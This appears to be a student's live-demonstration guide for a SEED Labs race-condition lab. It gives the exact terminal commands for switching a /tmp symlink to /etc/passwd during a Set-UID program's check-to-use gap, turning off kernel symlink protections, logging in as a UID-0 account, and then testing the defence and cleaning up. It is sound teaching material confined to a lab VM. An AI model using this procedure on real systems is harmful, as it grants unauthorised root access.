

Live demo — exact terminal commands

Member 5 — ISSD | Use this with MAIN_PRESENTATION.pptx

The slides explain findings; this guide controls the live actions. Run all command blocks in Bash terminals **inside the SEED Ubuntu VM**. Keep **A — Attacker** on the left and **B — Victim and results** on the right. Every shell starts as **seed, UID 1000**. Enter any sudo or su password directly at its terminal prompt. No password belongs in a script.

The prepared VM currently has a clean password file and **Set-UID removed**. Do Part 0 before presenting. The supplied helpers already exist in `/home/seed/issd-member5/automation/` in this VM.

Navigation during the presentation

When	Do this	Then return to
Before class	Part 0: prepare both terminals	Slide 1
Slide 3: what to watch	Part 1: visible 10-second race and UID verification	Slide 4: meaning of the output
Slide 5: real no-delay findings	Part 2: bounded atomic attack, no victim delay	Slide 6: naive failure and atomic improvement
Slide 7: two defences	Part 3: one stable-link OS-defence check	Slide 8: impact and secure design
After the demonstration	Part 4: final cleanup	Finish

There is no prescribed speech duration here. Use the group's allowance and explain each visible result. The five-minute defence experiments are already documented; Part 3 is a short deterministic control, not a claim to repeat 300 seconds live.

Part 0 — before class: prepare once

BOTH terminals — set the directory and verify the user

```
cd /home/seed/issd-member5/lab-files
id
```

You must see `uid=1000(seed)`. If a terminal is a root login shell, run `exit` once and `id` again.

Terminal B — clean reset and documented lab setup

```
bash ../automation/reset.sh
sudo chown root:root vulp vulp_slow vulp_least
bash ../automation/audit-setup.sh
cat input.txt
```

Expected: `/etc/passwd`: OK; controls **0/0**; `/tmp` ends in `t`; all three victims show root ownership and `-rwsr-xr-x`. The input is the previously validated 43-character record. The setup helper uses `sudo` only for the documented configuration; the experiments below run as `seed`.

If either helper exits with an error, fix that actual error before continuing. Do not replace the original password-file backup. If binaries are genuinely missing, run `bash build.sh` as `seed`, then repeat the setup above.

Terminal A — show the vulnerable code, then ready the two windows

```
nl -ba vulp.c | sed -n '10,12p;36,39p;48,53p'
```

Say: “The check uses my real identity, but the later open has the program's effective root privilege. These calls resolve a name separately.”

After setup/code are shown, you may use `clear` in both terminals for a readable live demonstration. This affects the display, not the earlier saved evidence files. Keep the presentation/control window behind the two demo terminals.

Part 1 — show the race with the 10-second teaching window

Slide 3 → switch to terminals. Say explicitly: “This first run contains an artificial ten-second delay so you can see the check/use gap.”

Step 1 — Terminal A: initialize the writable link

```
id
ln -s /dev/null /tmp/XYZ
ls -l /tmp/XYZ
```

Point out `XYZ -> /dev/null`. If `ln` says File exists, stop here and use Terminal B's reset helper before repeating Step 1.

Step 2 — Terminal B: start the slow victim

```
id
./vulp_slow < input.txt
```

Wait for Check passed; RUID=1000 EUID=0; waiting 10 seconds....

Step 3 — Terminal A: switch immediately during that wait

```
ln -sf /etc/passwd /tmp/XYZ
ls -l /tmp/XYZ
```

Point out the changed target. **Say:** “The check already accepted the writable target. The same name now points to the protected account database.”

Step 4 — Terminal B: after the victim returns, inspect and authenticate

```
python3 ../automation/verify-record.py && su - test
```

The helper checks ordinary-user identity, stopped attackers/victims, one exact complete record, all seven fields, UID/GID 0, home and shell. Only if that inspection succeeds does `su` run. At the `su` password prompt, press **Enter** for the empty password validated in this VM. Enter it directly; do not use `sudo` for this login.

In the resulting login shell:

```
id
whoami
```

Say: “The record is present, and this non-sudo login reports UID zero. That verifies root access; a changed hash alone would not.” `whoami` may say root because root and test share UID 0.

Step 5 — Terminal B: exit root and reset before the next experiment

Use `exit` only if the login actually opened a root shell. If authentication failed and the prompt is already seed, skip that `exit`, run `id`, and reset.

```
exit
id
bash ../automation/reset.sh
```

Confirm uid=1000(seed) and a clean baseline. Return to **slide 4** to explain the output.

If the timing misses or login fails, preserve and describe the actual result. Return to seed, ensure the slow victim has ended, reset, and use the saved evidence/S06-task2a-timing.png and S07-task2a-result.png if needed. Never use administrator insertion to manufacture an attack result.

Part 2 — genuine no-delay atomic attack

Slide 5 → **terminals**. Say: “The recorded numbers on this slide are earlier measurements. This new live run may take a different number of attempts. Here the victim is vulp, with no artificial delay.”

Step 1 — Terminal B: confirm clean configuration and create one shared run label

```
bash ../automation/reset.sh
sudo sysctl -w fs.protected_symlinks=0
sudo sysctl -w fs.protected_regular=0
RUN=class-atomic-$(date +%Y%m%d-%H%M%S)
printf '%s\n' "$RUN" > ../class-demo-label.txt
cat ../class-demo-label.txt
```

This label file lets both terminals use the same unique name. It does not contain a password. Existing run logs will not be overwritten.

Step 2 — Terminal A: start the ordinary-user atomic attacker

```
RUN=$(cat ../class-demo-label.txt)
python3 ../automation/lab_runner.py attack ./attack_atomic 90 "$RUN"
```

Wait until A actually prints **Atomic switching active**. The 90 seconds bounds the attacker even if the demonstration is interrupted before B starts.

Step 3 — Terminal B: run the no-delay victim with a classroom time bound

```
RUN=$(cat ../class-demo-label.txt)
python3 ../automation/lab_runner.py monitor ./vulp 30 "$RUN"
```

This starts the supplied monitor as seed, confirms initialized seed-owned links and the clean hash, and records actual counts. It stops on a target change or after 30 seconds, then stops the attacker. The live 30-second limit is not presented as a completed 300-second lab trial.

Step 4 — Terminal B: verify only if the file changed

If the runner reports a hash change and has confirmed the attacker stopped:

```
python3 ../automation/verify-record.py && su - test
```

Enter the validated empty password directly in B, then in the login shell:

```
id
whoami
exit
id
```

Do not type `exit` unless you are actually in the root login shell. If login failed, you are already back at seed; read the prompt and run `id`.

If the trial reports **NO CHANGE**, say: “This bounded live attempt did not win.” Show the earlier actual S09/S11 record and UID proof, explicitly labelled as recorded. Do not insert a delay into vulp and call it no-delay success.

Step 5 — Terminal B: reset; return to slide 6

```
bash ../automation/reset.sh
```

The helper refuses to restore if experiment or su processes remain. If you manually interrupt a Python runner with Ctrl+C, wait for its stop messages before resetting. If the attacker still has a foreground runner in A, stop it there first.

Optional naive illustration: after a clean reset, create a new class-naive-... label in B, use ./attack_naive instead of ./attack_atomic in A, and use the same no-delay B command. A File-exists/permission failure is a legitimate outcome. Stop processes and inspect /tmp and XYZ before reset; use the preserved S10 evidence rather than promising that this random failure will occur in class.

Part 3 — short, deterministic OS-defence control

Slide 7 → Terminal B. The completed five-minute trials remain the findings on the slide. This short live control illustrates why the original victim is denied after symlink protection is enabled.

Ensure all prior experiments have stopped and the terminal is seed, then:

```
bash ../automation/reset.sh
sudo sysctl -w fs.protected_symlinks=1
sudo sysctl -w fs.protected_regular=0
sudo sysctl fs.protected_symlinks fs.protected_regular
ln -s /dev/null /tmp/XYZ
ls -ld /tmp /tmp/XYZ
./vulp < input.txt
sha256sum -c ../passwd-before.sha256
grep '^test:' /etc/passwd || echo 'No test account'
```

Expected on this tested configuration: open failed: Permission denied, the baseline check is OK, and no test record exists. Explain the actual observed output: the ordinary-user check can pass, but a root-effective follower cannot traverse this seed-owned link under root-owned sticky /tmp with the control enabled.

If the observed output differs, say so and inspect it; use recorded S13 as the completed lab finding. Return to **slide 8** for the security lesson.

Part 4 — cleanup after class or rehearsal

Terminal B — as seed, after all experiment processes and root logins end

```
id
bash ../automation/cleanup.sh
```

Confirm: original baseline restored, no test account, no experiment/su processes, temporary links gone, victims **0755**, and final controls **1/2**. This final policy was explicitly selected for this VM. The saved 0/0 file is not described as the VM's original runtime defaults.

Quick recovery and audience explanations

Actual output	Meaning	Next action
Check passed; RUID=1000 EUID=0	The real-user check passed; the slow build still holds effective root	In A, switch the link during the stated wait
CHANGE detected	The target contents changed	Stop/confirm stopped processes, inspect the full record, then non-sudo login and id
uid=0(root) after su	That actual login has root authority	Explain the gain; exit root before any reset or ordinary trial
File exists, then Operation not permitted	A root-owned regular XYZ may have occupied the naive attack's gap	Stop first; ls -ld /tmp /tmp/XYZ; stat /tmp/XYZ; preserve the failure, then B reset

Actual output	Meaning	Next action
No permission	access() rejected the path under the real identity	Interpret according to the current link/variant and control settings
Open failed: Permission denied	A later open was denied	In the 1/0 stable-link control, explain protected symlink following
NO CHANGE within the limit	No target change was observed in that bounded run	Show recorded evidence honestly; do not promise that every race wins quickly
Victim must be root-owned and Set-UID	Final cleanup disabled the demo privilege, or the binary was rebuilt	Return to Part 0 setup; never fix this by running the victim through sudo

What the helpers do

`reset.sh` checks seed identity and stopped processes before restoring the original file/removing the lab paths. `audit-setup.sh` checks the clean baseline and enables the documented Set-UID/0-0 setup. `lab_runner.py` launches the actual C programs as seed, coordinates initialization, bounds time, retains outputs/counts and stops processes. `verify-record.py` inspects the exact record; it does not authenticate or grant privileges. `cleanup.sh` performs the final documented restoration and removes Set-UID. Their source is included under `automation/` in the submission.

The actual class presentation has not been claimed as already rehearsed or delivered. Use these exact steps for your own rehearsal, explain the observations rather than reading unexplained commands, and complete cleanup afterward.